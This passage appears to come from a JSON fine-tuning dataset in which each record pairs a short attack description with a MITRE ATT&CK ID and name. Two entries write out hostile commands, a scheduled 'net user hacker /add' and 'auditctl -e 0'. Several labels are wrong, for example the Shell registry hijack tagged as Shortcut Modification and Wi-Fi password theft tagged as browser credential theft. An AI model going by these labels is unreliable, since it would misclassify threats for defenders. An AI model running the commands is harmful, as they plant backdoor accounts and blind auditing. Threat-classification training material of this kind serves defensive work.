                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit a shared configuration file in a Docker image registry, embedding a script that runs on container launch."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages certutil to install a counterfeit digital certificate on the endpoint, facilitating the launch of signed malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated MITM technique involves intercepting LLMNR and NetBIOS name requests, providing counterfeit replies to collect NTLM hashes, and subsequently using SMB relay to access restricted network resources."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modified the iptables rules on a compromised Linux host to allow all inbound traffic, effectively turning off the firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows Registry \"Image File Execution Options\" to inject a malicious debugger that runs at process start."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set manipulates the parent‑child relationship of processes, breaking the normal process tree, to make a malicious executable look like a benign Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker applies a custom firmware patch to the system's bootloader, altering the system image for stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Virtualization to see if the system is running inside a virtual machine before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group ensures no leftover network share links remain by deleting the share connections after use."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemManufacturer for strings such as 'VMware' or 'VirtualBox' to avoid analysis."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the command 'at 02:30 /interactive /every:Sun cmd /c \"net user hacker /add\"', the attacker creates a new admin account weekly."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group creates a .lnk shortcut with a forged antivirus icon, leading analysts to unwittingly execute a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the intruder cleared the PowerShell console history on Windows machines to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a malicious printer port monitor to achieve persistence via the Print Processors sub-technique."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests user documents and images from the local file system and compresses them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hijacks the Windows Explorer shell by setting the Shell registry value to a custom executable."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured public bucket on IBM Cloud Object Storage to download confidential client data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a macro that extracted email logs and uploaded them to a private Box.com cloud storage account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the 'sudo' prompt on a compromised Linux machine to execute a privileged backdoor after the victim enters their password."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages \"Pass the Hash\" authentication to move laterally while avoiding credential prompts."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan registers a command in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider registers an unauthorized laptop in the victim’s cloud account to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a server‑side email forwarding rule to exfiltrate confidential communications to a malicious mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes command output with a custom base64 variant to hide it in HTTP headers."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ WMI to copy a malicious payload to a target machine across the network and then invoke it for further infiltration."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting weak permissions on a setup.exe file, the adversary overwrites it with malicious code, which is then executed during the installation routine."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant issues commands that deinitialize the platform's secure enclave, stopping all hardware-backed cryptographic operations."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Secure Boot keys in the UEFI firmware to disable integrity checks and load unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new child process that inherits the environment of a known system process, then terminates the original parent, causing the malicious process to appear as part of the legitimate process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures and edits encrypted API responses, changing transaction amounts before they are processed."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hosts a compromised website that automatically exploits visiting users' browsers, delivering a malicious payload without any user interaction."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the SharePoint file sync client to synchronize site content to a local machine for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the “Remember this device” feature to prolong their access after the user changes credentials."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a rogue LSASS driver that automatically loads on system boot, enabling privileged code execution."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends specially crafted requests to a vulnerable web server component, causing it to consume all memory and halt the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a custom entry to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry hive to start Word.exe with a malicious macro on login."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs verclsid.exe with a malicious DLL path to execute the payload via the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes an SSH public key into the authorized_keys file to establish a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the SAM database directly to insert a new local user account with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan established a covert infrared link to stream exfiltrated data to a hidden camera."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the NTFS transaction API, the attacker injects malicious code into a newly created process, achieving execution stealthily through Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a fast‑flux network, the attacker distributes the command‑and‑control infrastructure across a botnet, rotating DNS entries to conceal the true location."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets employees by sending emails that appear to originate from the corporate VPN portal, directing recipients to a malicious login page."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables the TPM chip, causing FDE keys to become inaccessible and encryption to fail."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware intercepts XPC messages between system components to steal authentication tokens and session cookies."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor publishes a fake version of a VPN client with an embedded keylogger on a torrent site."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests credentials from the Windows Credential Manager using the Mimikatz tool."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stole the JWT access token stored in the application’s configuration file and used it to gain unauthorized access to the internal API."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan resolves a C2 server address via DNS, then downloads its next stage payload."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a misconfigured repository that allowed anonymous read access to retrieve source code and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed data exfiltration by copying files from a company shared drive to a foreign IP address."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script reads the registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProductName to obtain the Windows edition."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a high-rate SYN flood against a web server, exhausting connection tables and rendering the service unavailable."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom script extracts saved Wi‑Fi network profiles and their passwords from the system."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals used a botnet of compromised Android phones to distribute spam SMS messages."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through WMI, the malicious code calls the Win32_Credential class to retrieve stored domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample proxies its C2 communications by bouncing between several compromised web servers, employing a multi-hop proxy chain."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload uses the Windows COM infrastructure to establish a hidden channel between processes, allowing the attacker to send commands silently."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses social engineering tactics to trick users into divulging credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors generate fake Snapchat profiles and add targets as friends to deliver phishing messages."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses compromised IAM credentials to list all AWS IAM users and attached policies."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers monitor the victim’s public event calendar and product launch timelines to determine when critical projects are underway."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom MAPI-based tool is deployed to read and export email contents from the local Outlook profile."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the target's public API endpoints to enumerate available resources."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals searched public TikTok videos for footage of the target's workplace, collecting visual data on employee badges and workstations."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker maps the victim’s network topology by analyzing internet routing maps and traceroute data."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor scans Certificate Authority repositories for issued certificates that match a company's name."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the sp_executesql procedure to run arbitrary OS commands from within the database environment."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable web service that leaks code signing private keys, which they then use to sign their payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed \"auditctl -e 0\" to stop the Linux audit daemon from recording system events."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise scenario where the attacker installs a hardware keylogger inside a peripheral during assembly, which silently records and exfiltrates user input."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows Management Instrumentation (WMI) class Win32_PnPSignedDriver for driver discovery."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is delivered to the endpoint by copying it over a mapped network drive from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant scrambles extracted logs using a custom Caesar cipher with a shift of 7 before sending them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised TPM firmware is used to subvert platform integrity measurements and persist malicious code before the OS starts."
            },
            {
                "role": "assistant",
